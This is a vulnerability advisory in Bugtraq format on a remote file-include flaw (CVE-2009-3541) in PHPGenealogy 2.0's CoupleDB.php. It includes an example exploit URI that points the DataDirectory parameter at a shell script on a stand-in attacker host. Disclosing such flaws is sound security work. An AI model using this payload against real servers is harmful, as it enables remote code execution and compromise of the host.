PHPGenealogy 'CoupleDB.php' Remote File Include Vulnerability

Bugtraq ID:	43566
Class:	Input Validation Error
CVE:	CVE-2009-3541
Remote:	Yes
Local:	No
Published:	Jul 15 2009 12:00AM
Updated:	Jul 15 2009 12:00AM
Credit:	IRCRASH
Vulnerable:	Emmanuel SPERI PHPGenealogy 2.0
Not Vulnerable:

PHPGenealogy 'CoupleDB.php' Remote File Include Vulnerability

PHPGenealogy is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

PHPGenealogy 2.0 is vulnerable; other versions may also be affected.

PHPGenealogy 'CoupleDB.php' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/CoupleDB.php?Parametre=0&DataDirectory=http://evil/shell.txt?

PHPGenealogy 'CoupleDB.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PHPGenealogy 'CoupleDB.php' Remote File Include Vulnerability

References:

• PHPGenealogy Project Page (SourceForge)